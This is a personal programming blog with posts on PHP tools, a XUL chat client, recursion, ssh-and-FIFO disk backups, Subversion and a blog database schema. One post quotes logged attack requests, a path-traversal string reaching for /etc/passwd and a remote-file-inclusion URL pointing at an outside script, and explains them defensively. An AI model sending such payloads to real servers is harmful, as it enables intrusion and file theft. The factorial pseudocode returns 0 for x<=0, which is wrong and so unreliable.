Ramblings of Narc

After a few weeks of vacillating on the subject, I’ve decided to take the plunge and start offering my services in exchange for cash.

In short, I’m a very good debugger and would like to get in touch with small businesses and people that can’t afford a full-time programmer dedicated to the task, and who have some bugs they want taken care of.

I have paypal and moneybookers, you don’t have to pay me until I get the job done, but I reserve the right to refuse service to anyone as protection from people who get work done but won’t pay for it.

If you’re interested, the link is narc.ro/service. Tell your friends!

Inspired by Jon Eveland‘s qqint, I’ve produced (from scratch) a personal version written in PHP and using an SQLite backend that anyone can set up and use themselves.

I started by putting up some slightly rambly QQSearch documentation that should explain what’s what, and why. Because the docs came first, they may be slightly out of date. They are also slightly ahead of the current state of development, as aliases have not yet been implemented (though it should be reasonably easy to do so).

You can use a demo of QQSearch with the really dangerous bits removed (i.e. no adding and deleting URL mappings).

If you like that, you can go ahead and:

• download QQSearch v. 0.1 as .tar.gz (about 100 KB), or
• download QQSearch v. 0.1 as .zip (about 300 KB)

Short instructions for use: download, extract to the htdocs folder of a PHP-enabled (version 5.1 minimum!) webserver, and browse to it.

If you need more help than that, feel free to contact me and I’ll do my best to get you sorted.

(or, having fun with a public-facing Internet presence)

So, since I upgraded the main narc.ro site, I got a custom 404 handler in the bargain — one that emails me whenever it’s hit. Okay, so it initially sent 500 Internal Server Error, but I’ve fixed that part.

Anyway, the result of this is that I get a whole bunch of very fun emails when people try to hit pages on narc.ro that don’t exist, such as:

• http://www.narc.ro//gazelle/?template=../../../../../../../../../../../../../etc/passwd%00
• http://86.104.40.152/roundcube//bin/msgimport
• http://www.narc.ro/gazelle/?template=http://madrigaldelavera.es/joomla/mambots/editors/idit.txt%3f%3f

I hope I don’t have to tell you not to visit those links — they don’t do anything (except email me, which is annoying).

I’m particularly interested in the first on that list, which is also the most recent. The theoretical narc.ro/gazelle path would have been /opt/www/vhosts/www.narc.ro/htdocs/gazelle. Let’s count the ../es in the path our attacker tried — 13 of them. More than enough to get out of the 6-level deep path and into /. And I probably don’t have to tell you that /etc/passwd is a file you really want to guard pretty well — it has all your users in it (/etc/shadow has the hashed passwords, too, but that one’s protected so an ordinary user (or the apache user) would be unable to read it).

So, what protected me, in this case? Firstly, it was the fortunate fact that the script the attacker was trying to hit doesn’t exist; and second, that wherever I have scripts that are able to take user input for a path (for instance, img.narc.ro works like that), I’ve been careful to put in protection against relative path inputs like that one. http://img.narc.ro/../ just won’t work.

This is a semi-adequate level of protection for me, since I write my own scripts — I don’t have to worry about any mistakes made by anyone other than myself, and I’m pretty careful around this stuff.

But note that I am some random corner of the Internet almost nobody knows about, and I’m still getting attacked. That means no matter who you are, if you’re serving Web content, you must take precautions. And even if you’re the only developer on the system, you should still do your best to contain the threat. Defense in depth should be your key phrase. That’s why I’m currently looking into mod_chroot for my Apache2 installation. Your solution may be different, but have one, or at the very least, be aware that you will be attacked, and have some plan to recover from that if, or when, an attack is successful.

I rely on a very simple technique for anti-spam — I sign up to new websites using throwaway email addresses (usually, “narc-domain.tld [at] narc.ro”, or something like that), and if an address starts getting spam, I try to notify the interested parties, or, failing that, I blacklist it altogether.

So far, this has been very successful, in that the only spam I ever get tends to come from addresses I posted publicly, like an idiot, on this very website. To address this problem, I’ve set up a very simple contact form to get straight to me instead, and am now blacklisting all three (haha!) addresses I posted publicly in the past.

If you want to help, for whatever reason, I wouldn’t mind being notified about any mailto: links left anywhere on www.narc.ro or its sub-sites. I think I’ve killed them all, but I could very well be wrong. If you actually do this, I’ll buy you a beer the next time I see you. Or your favorite soft drink, if you’re not a drinker

I linked to my short story, Safeguard, before, but since then I’ve closed the wiki it was originally on.

Today, I finally transferred it to my new wiki, and updated the links in the older post. So, in case anyone wanted to find it, it’s here now, where I expect it’ll continue to exist forever. Or, at least, until I no longer have either a domain, a web server, or I die. Whichever comes first.

I should probably write more short stories soon…

So lately I’ve been working with XUL. Specifically, I’ve been trying to recreate the (very old) Flash client for TNChat made by a friend (sorry, no link; I can’t be arsed to locate one).

As a result, ladies and gentlement, I present to you: Codem TNChat v. 0.3 (zip, 6.31 MB) (incl. XULRunner).

For those of you with some experience with XULRunner, you may wish to download the source code (zip, 146 kB) instead.

Update: Just fixed a bug that was preventing URLs from turning into links — download TNChat v. 0.3.1 (zip, 6.31 MB) or TNChat 0.3.1 source (zip, 146 kB) instead of the above.

Please note the following:

• You’re looking at an Alpha version. I couldn’t crash it easily, but I haven’t honestly tried very hard. That means it may or may not work for you. If it doesn’t, send me an email and I’ll try to help you get it working.
• What you see in this version may not necessarily still exist in the next. Alpha versions are not feature-complete, nor stable. In other words, if you get used to this version, I can’t guarantee the next one will look exactly the same.
• XULRunner can be a bit of a bitch sometimes, either refusing to run, or taking an inordinate amount of time to start up. If you think this has happened, try the following:
  1. Go to Start -> Run…;
  2. Type in “taskkill /f /im:xulrunner.exe” (without the quotes)
  3. Click “OK” or hit the Enter key
  4. Wait a second or two and then try running TNChat again.
• The server for this client is running on my computer. As such, it’s my bandwidth, and my Internet connection. At this time, there is no way to kick or ban users. Please don’t make me build that in sooner than I expected.
• For the same reason as above, a warning: if my Internet connection dies, so will the server. I’m sorry for that, but I can’t control my ISP (if I could, I’d have a better pipe!).
• Finally, if the interface doesn’t seem very straightforward to you, email me or ask in the comments about it. I promise to update this post with any notes resulting from such questions.

Finally, the server is not yet available to the general public, though you may, of course, ask politely for a copy.

Oh, and I know the /buzz sound is annoying. I’ll replace it in some future version.

Another Update: There is now a protocol documentation available, for those curious.

I’ve written a short story called “Safeguard” and I welcome any and all comments.

Please give it a read. Thanks!

As Joel Spolsky once noted, in programming, recursion and pointers are two of the hardest things to master. And while I’m not going to really comment on pointers in this post, I do have a word or two about recursion.

Recursion seems trivial when the design is obvious. Consider this classic example of a recursive factorial function that was my first real introduction to this paradigm:

factorial(x):
if x < = 0, factorial = 0;
if x = 1, factorial = 1;
if x > 1, factorial = x * factorial(x - 1);

That’s relatively simple to turn into real code, isn’t it? An if, elseif, else, some returns, and that’s the whole thing right there — it’s practically already written for you.

But when the problem isn’t so obviously specced out, you have to think about it a bit more closely.

The reason I bring this up now is that I wrote a bit of recursive programming, and the interesting thing (to me) about it is that I wrote it in the “wrong” order.

It started when I wanted to emulate an “infinitely” deep tree structure for a favorite URLs list. I wanted to keep the tree in a database on a server, and synchronize it with a Firefox extension to a favorites menu the extension would keep. That got me wondering about how to transmit the data over the wire. After a few iterations, starting with something that looked like this:

Folder:[Link Name:URL][Link Name: URL][Folder:[Link Name: URL]]

And ending with this:

Folder
    Link Name|URL
    Link Name|URL
    Folder
        Link Name|URL

which limits the link and folder names the least, I then started wondering how I could store it in the database.

Clearly, the simplest way was to have each item keep track of who its parent was, and use a simple auto-incrementing “id” field to identify records. But then came the problem of taking this out of the database and converting it to the pretty format shown above. I had already been considering a recursive function would probably do the job best, and so I got to work building this recursive function.

I had a few false starts, and I edited and deleted unsuccessful solutions mercilessly. I also had to come to terms with the fact that my initial idea — building the tree as records came from the database — was amazingly impractical.

What I settled on is shown in the example code I wrote, a two step process involving massaging the data a bit after getting it out of the database before converting it into a real tree structure. The example code also features two recursive functions for double the fun: one is for creating the tree structure internally, the other to display said tree structure; the latter was infinitely easier to write than the former, and I did actually write it first, before I realized I was going to need recursion again for the tree building process.

The result? Some pretty decent example code, if you ask me. And several hours of fun, combined with the exhilaration of having found the right solution and having it work as well as you’d intended, without any surprises (read: bugs) messing things up for you.

I’d say that was very much worth the time it took.

Update: I also found this discussion on the Joel On Software message board which seems to bring up similar points (and, indeed, it seemed to me like at least some of the posters involved were reading my mind). Go ahead and give it a read-through, it’s interesting.

My week-ends have been pretty crappy lately. Saturdays, I sleep. Sundays, I visit my Dad in hospital (I sincerely hope he’s getting out soon). All in all, this leaves me pretty much no time during the weekend when I feel like actually doing anything useful, so I’ve been brain-dumping my various project ideas on this blog.

The trouble is, other than backing up Eris, I haven’t really done much work on my other projects, which kinda sucks.

So I’m getting pissed off. Which, for me, is when things usually get done.

Therefore, the very next thing I’m going to do (outside of work, that is), will be to finally formalize the structure of my CM proggies. Which means various shiny new bits are about to get checked in to the NeoFW repository, most likely. Just as soon as I figure out what this formalized structure looks like…

For the longest time, I’ve wanted to have a backup of Eris, complete duplicate of all the partitions and their data on /dev/hda (the primary master hard-drive; also the one the OS runs on).

This isn’t as straightforward as one may think, though. The *NIX program, dd, can make exact duplicates of an entire hard-drive (or other device, including a simple file, passed in to the if= parameter) by sequentially reading all its sectors and writing them to the output file (which, in turn, can be another hard-drive, or a file, or even a tape drive). This is absolutely wonderful, and the perfect copy that I’d want… except it doesn’t really work.

See, the first thought I had was to dd from the hard-drive partition to a file on an SMB-mounted partition on Hermes. So I tried it. First partition was the boot partition, which is approximately 64 MB in size. That went through like a charm. So I tried the main partition after that, and… well, it didn’t quite work. Apparently, SMB has a problem with files greater than 2 GB, and the main partition is 3.something GB in size, and so… it didn’t quite work. I toyed with the idea of splitting it into 2 GB files, but I didn’t know how to do that with dd and didn’t want to learn the innards of this particular black box.

The next thought was to try NFS, but setting up an NFS share on Windows was another black box I didn’t want to mess with. I also had no reason to believe the 2 GB file size limit wouldn’t still be there, so I dropped the whole idea of backing up altogether. After all, it wouldn’t matter that much if I had to take a long time setting up Eris again, since Eris didn’t do all that much that was important.

Since then, however, I’ve been giving Eris more and more responsibilities, and so it was time to re-examine the backup idea.

The current plan I’m trying out right now also uses dd, but also ssh and… well, let me go over it in detail.

What I started with:

• one non-privileged (sort of) user account with an SSH public/private key combo in its home dir. This makes it possible to ssh into any of the SSH-enabled computers in the house without a password, including (especially) Hermes.
• root. You need root if you want to read from /dev/whatever, unless you had root change the permissions on the whatever to let you access it.

The process

• First, I tested ssh (the client)’s ability to open a shell to another computer and run a random command on it. So I ran: ssh [my user]@hermes "ls -l". This worked as expected.
• Then, I tried transferring a file from one computer to the other using ssh. The idea, in this case, was to have a process on Eris that would read the file to standard output, and a process on Hermes that would read its standard input and write it to a file. In-between would lie the ssh connection, taking its input from the reader’s output, and passing that along as the input to the writer on Hermes. The command: cat file_on_eris.txt | ssh [my user]@hermes "cat - > file_on_hermes.txt". To cat, – is shorthand for standard input, and I’m using the shell’s redirects to chain things together. cat on hermes is just a pass-through for standard in, which in this case is the output from cat on eris, which is reading the file. This worked. So far, so good.
• But I also had the root/non-root barrier to break, which is easier from the root side than the non-privileged user side. Still, I could’ve done it any way I wanted, using sudo, for example, to execute the dd that would read the hard-drive. But I didn’t like that idea. Instead, I decided on a named pipe, or FIFO, if you prefer. So, as the non-privileged user, I executed mkfifo temp-pipe in my home directory. This created a FIFO that I could attach a non-privileged reader to, and that could take the privileged writer’s input.
• The next step: putting things together. Part one, the FIFO reader. I did cat temp-pipe | ssh [my user]@hermes "cat - > disk-image.img". SSH launched, connected, then waited for data. If my SSH had required a password, this is where I would’ve entered it.
• Part two: as root, I went to the non-privileged user’s home directory, for brevity, and then did dd if=/dev/hda3 > temp-pipe, which hooked up the writer end of the pipe, and data started flowing.

So, to summarize, as the non-privileged user:

cd ~
mkfifo temp-pipe
cat temp-pipe | ssh user@remote "cat - > disk-image.img"

And, as root:

cd ~non-privileged-user
dd if="/dev/hda3 > temp-pipe

This is using my already-existing infrastructure, defined under the “What I started with” header, so it’s the best solution for me. It might not be the best for you. But I like it.

One further improvement: Using gzip to compress the disk image. The last non-privileged user command then becomes cat temp-pipe | ssh user@remote "gzip -c > disk-image.img" if compression is going to be done on the remote side, or cat temp-pipe | gzip -c | ssh user@remote "cat - > disk-image.img for compression on the local side.

As you can see, it’s relatively easy to improve on the backup. The next part will probably be to automate everything, and have it run weekly. If I feel like it.

Oh, I’m doing compression on the Hermes side, because Eris is kinda weak on the horsepower front. However, if I were aiming to use minimal bandwidth, the compression would be happening before the pipe to ssh. This might be a better idea for future backups.

…I’m compiling Subversion. On a 486 (eris).

Then I’ll need some hard-drive space dedicated to the SVN repository and its soon-to-be-myriad of versions, micro-versions, revisions, and such-like, that make the whole shebang work properly. Of course, some parts don’t really belong in the repository, either because they’re too big, or because they’re not really part of the stuff I wrote. And then there’s other parts that aren’t publicly accessible, but need to go into version control anyway.

In total, all the stuff that makes up narc.ro and subdomains is just shy of 2.3 GB. In there, we have duplicates (remaining from various moves like http://www.narc.ro/man/ -> http://man.narc.ro/ ), and we have just short of 350 MB of images (some of them enormously high-quality), and some 1 GB or so of mp3s (sorry, that part is private), not to mention another 225 MB of “temporary” files, some of which are temporary scripts built to play with some random feature or another. The actually important, personally-written, valuable parts probably clock in just over 20 MB or so. Talk about dense packaging — that’s probably three or four years of development, all fitting in so little space it seems almost pitiful.

Nevertheless, that doesn’t include the millions of previous versions of all the files involved, and with that, the repository would probably reach well over 200 MB, and that’s not counting several small, but important backups of the various databases I’ve always cared about.

Think of it like this — about 90% of the code I’ve written has been lost, because there was no reason, at the time, to save it. This code isn’t that valuable in and of itself — after all, most of the various old versions would’ve just been bug-ridden crap that got superseded by revisions of the same files that didn’t have those bugs. Or else we could be talking about versions of a library that didn’t include some particular function, and when a new page was added suddenly that function was required, and added. So it’s not that big a loss.

However, you get to a point where you look at what you have, and you say “You know, this stuff is barely enough to fill 13 floppy disks, have I really done so little? The old versions, the bug fixes, the little “HACK HACK HACK” comments that got replaced by real code, or the functions that were perfectly good but had to be rewritten to provide a more uniform “look”, or to use a particular new helper function that made the work of debugging a lot easier — all that stuff is impossible to see. So, for all the work I did creating these 20 MB, all I have to show for it is the latest version, with no real sense of how much has gone before.

Which is why I’m changing things now. With subversion now installed (make install finished just as I was typing this), it’s time to give Eris an extra hard-drive, and put all the stuff I care about into SVN. And then run commits every once in a while.

*whistles* I’m on my way… to structured programming…

I need to put Sirimi up (and rename it to Bast, or maybe Bastet), update all the important software on it (Apache, PHP, MySQL), dump all the databases I have here, and copy everything over, then change the port forwards for the HTTP and HTTPS stuff to point that way. That way, Hermes can have fewer things to do, I get a more native Perl, and once I figure out how to make Postfix do everything my existing mail server is doing now, I can move the mail server there, and keep Hermes as nothing more than the secondary workstation.

The point of this whole thing is to have a quieter sleeping experience: Hermes really isn’t the quietest computer to sleep around. I’m still considering getting pissed off and installing a Windows on the-computer-soon-to-be-called-Bast, so that my mail server will continue to work the same on it. But I’d honestly prefer Postfix, since shareware mail server is not the happiest thing in the world. Almost all my applications right now are free — the fewer non-free ones I have to deal with, the better.

Is there a good, syntax-highlighting, CVS-enabled, Perl and PHP editor for Linux (not counting Eclipse)? I might switch Hermes to Linux full-time, were such a thing to exist. Actually, considering I’ve always been a vim user, perhaps I’ll use that, together with a decent VPN client (it needs to support extssh, or ssh) might work better.

Hm… so let’s recap, to switch Hermes to Linux I’d need:

• to move the HTTP, HTTPS, and SMTP/POP3 servers to Sirimi (soon to be called Bast)
• to pick and install a Linux distribution. Though I may love LFS, the thought of compiling and installing X.org on it is daunting. I wonder if one of the BSDs might not be a better choice, actually? I’ll need some opinions.
• to find equivalent software to provide the following:
  • two-pane file-system browsing (Midnight Commander would do this in text mode, but for graphics mode? I saw something that looked good a few days ago, but I’ve lost the link)
  • some torrent client (whatever. Do some market research. At worst, keep using uTorrent on Sisiphus)
  • Maybe a decent GUI editor, though vim is fine for most of the stuff I do, especially if it has syntax highlighting enabled.
• Also, I’ll need the following software installed at first:
  • Synergy (for Linux)
  • Firefox (IceWeasel?) for Linux
  • Apache, PHP, MySQL (for testing stuff before putting it up)

So here’s a new project, inspired by this C2 wiki page: my programmer’s notebook.

I’m going to keep the notebook in here, under category “Notebook“, and it shall contain all the things I think about doing but don’t really have time for. Since I have more ideas nowadays than I have time (or immediate desire) for, I expect this category to very soon contain the most posts, even if many will be one-liners.

In other, related news, it looks like WordPress is winning out against MovableType by a huge advance. I think what I like most about WP is that if I don’t like something, I can just poke around the source code and find what its problem is. MT kinda offers that, sure, but I dislike Perl (look out for a rant on that topic later), especially when compared to PHP. Also, MT is much more like a black box, configuration-wise. I don’t know why (I suspect the two pieces of software have similar capabilities), but WP’s config just feels more open.

Well, I don’t know…

For the longest time, I’ve been a person willing — rather, excited about — writing my own renditions of various interesting applications. When I started writing PHP, this tendency didn’t change — only the projects did.

One of the first Web applications I wrote was a very simplistic blogging app. There was an “add post” page, there were posts on the main page, and some simple login screens, and that was more or less it (oh, I think it had comments, too. I’m not sure anymore). However, because I didn’t save any database dumps, or anything similar, the project doesn’t exist anymore – I still have the PHP, but going through it to rip out the SQL, and using that SQL to figure out the table structures, would be amazingly boring — and, I daresay, useless.

My next big project on the same note, building on the experience learned in the previous one, was CMBlog v1. It featured multiple users, and multiple blogs, and various other nice things inspired, to some extent, by LiveJournal, Blogger, and whatever other projects like those might exist. CMBlog has served me well, but two years, and a lack of general interest, have taken their toll. A few weeks after CMBlog had grown to a state where it was no longer a simple application, and was actually doing most of what I wanted it to do, I realized it really wasn’t anywhere near what I thought it would be. Sure, it was fast. Sure, it was simple, and clean. But that was only on the surface. The code behind it was a muddled mess, and making sense of it in order to add features (or fix the existing ones) was getting more and more taxing.

So I declared CMBlog finished and started work on its successor, learning from the failings of the past — as I always seem to do in these things. CMBlog2 never really took off. At some point down the line, I realized the architecture I had chosen was really unfit for building something like what I wanted. I let it get as far as being a read-only version of CMBlog before locking it, always thinking “Well, I’ll come back to it when I have a better design, or a better way to keep the code clean”. That day never came, and other projects (not all of which are featured at that URL) came and went, and I learned more and more about how to do things right.

In PHP, one of the best architectures you can choose when, like me, you have a lot of related websites, is one where most parts are stored in one central location, and included as needed in each project. Thus, NeoFW was born, and has now become the repository of all my useful and semi-useful functions that I’ve written over the years. NeoFW is my codebase.

However, since I got a job (and for quite a while before that), these projects have been advancing at a glacial pace, and at one point, I stopped working on most of them, maybe writing a quick little hack-job, but never something that took longer than a few hours to write, and usually just copy/pasting the base skeleton from a previous little project, and maybe making a modification or two. The latest such mini-project was JGH, which stands for “Just Got Home”, and which is a relatively simple personal email gateway, designed to keep me and my girlfriend in touch by serving as a simple way to write each other long long emails and then send them without worrying too much about losing our progress during the day.

These mini-projects have all had one great advantage: they have, through every iteration of the same basic design, taught me how to make it work just right, and I’m now reasonably confident I can make it work for another iteration of the blogging application.

And so, after that long and somewhat rambly introduction, I come, finally, to what I announced in the title: CMBlog3.

CMBlog3 will be taking NeoFW to its first stable format, as during the project I suspect I will be requiring a large number of things to be working properly, which will stabilize the design on those parts I haven’t had cause to lock down yet. Such things as application-specific preferences, and the like.

But, to start the whole thing off, CMBlog3 needs a database — because I don’t want to reuse the old one. The old one really is kinda crappy.

The original design used five tables, namely blog_acl, blogs, comments, posts, and prefs. blog_acl was for the access control lists: who had access to what blogs. blogs, posts, and comments are self-explanatory. Finally, prefs was a special table, holding each user’s preferences, albeit in a very ugly fashion. The user tables (along with the entire user-handling substructure) were handled by EPRU — a user database and set of API functions.

The new design will probably keep the blogs, posts, and comments tables — it’s pretty much a requirement — though I do expect the structure to change. NeoFW will handle the user API, including user preferences. Finally, the access control list will have to change dramatically, as I wish to provide a lot more granularity in the preferences — down to the comment level.

This post was initially only meant to help me design the database, though I suppose along the way it turned into a bit of a history lesson. Either way, here’s what I’ve got so far:

• CREATE TABLE blogs (
  • id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
  • name VARCHAR(255) NOT NULL DEFAULT “”,
  • tagline VARCHAR(255) NULL DEFAULT NULL,
  • user_id BIGINT UNSIGNED NOT NULL DEFAULT 0,
  • created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  • updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  • deleted TINYINT(1) NOT NULL DEFAULT 0,
  • deleted_at TIMESTAMP NULL DEFAULT NULL

  )

• CREATE TABLE posts (
  • id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
  • blog_id INT UNSIGNED NOT NULL DEFAULT 0,
  • user_id BIGINT UNSIGNED NOT NULL DEFAULT 0,
  • title VARCHAR(255) NOT NULL DEFAULT “”,
  • content LONGTEXT NOT NULL DEFAULT “”,
  • created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  • updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  • deleted TINYINT(1) NOT NULL DEFAULT 0,
  • deleted_at TIMESTAMP NULL DEFAULT NULL

  )

• CREATE TABLE comments (
  • id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
  • parent_id BIGINT UNSIGNED NOT NULL DEFAULT 0,
  • post_id BIGINT UNSIGNED NOT NULL DEFAULT 0,
  • user_id BIGINT UNSIGNED NOT NULL DEFAULT 0,
  • content LONGTEXT NOT NULL DEFAULT “”,
  • created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  • updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  • deleted TINYINT(1) NOT NULL DEFAULT 0,
  • deleted_at TIMESTAMP NULL DEFAULT NULL

  )

That all should cover the first parts, with the minimum of metadata. You’ll note comments include a parent_id, which allows for threaded comments.

With these basics in place, I can begin work on the engine itself. The metadata, such as access control and the like, will be included in separate tables I can create later. Hopefully, there should be good stuff to link from here later.

Update: I forgot to mention — these tables, when in MySQL, should be TYPE=InnoDB, to take advantage of that storage engine’s transaction support. Since it is very likely that multiple tables will be updated at the same time (consider the fact blogs have an updated_at timestamp, and that it should reflect when a post was last added to them), this particular bit of magic is very desirable.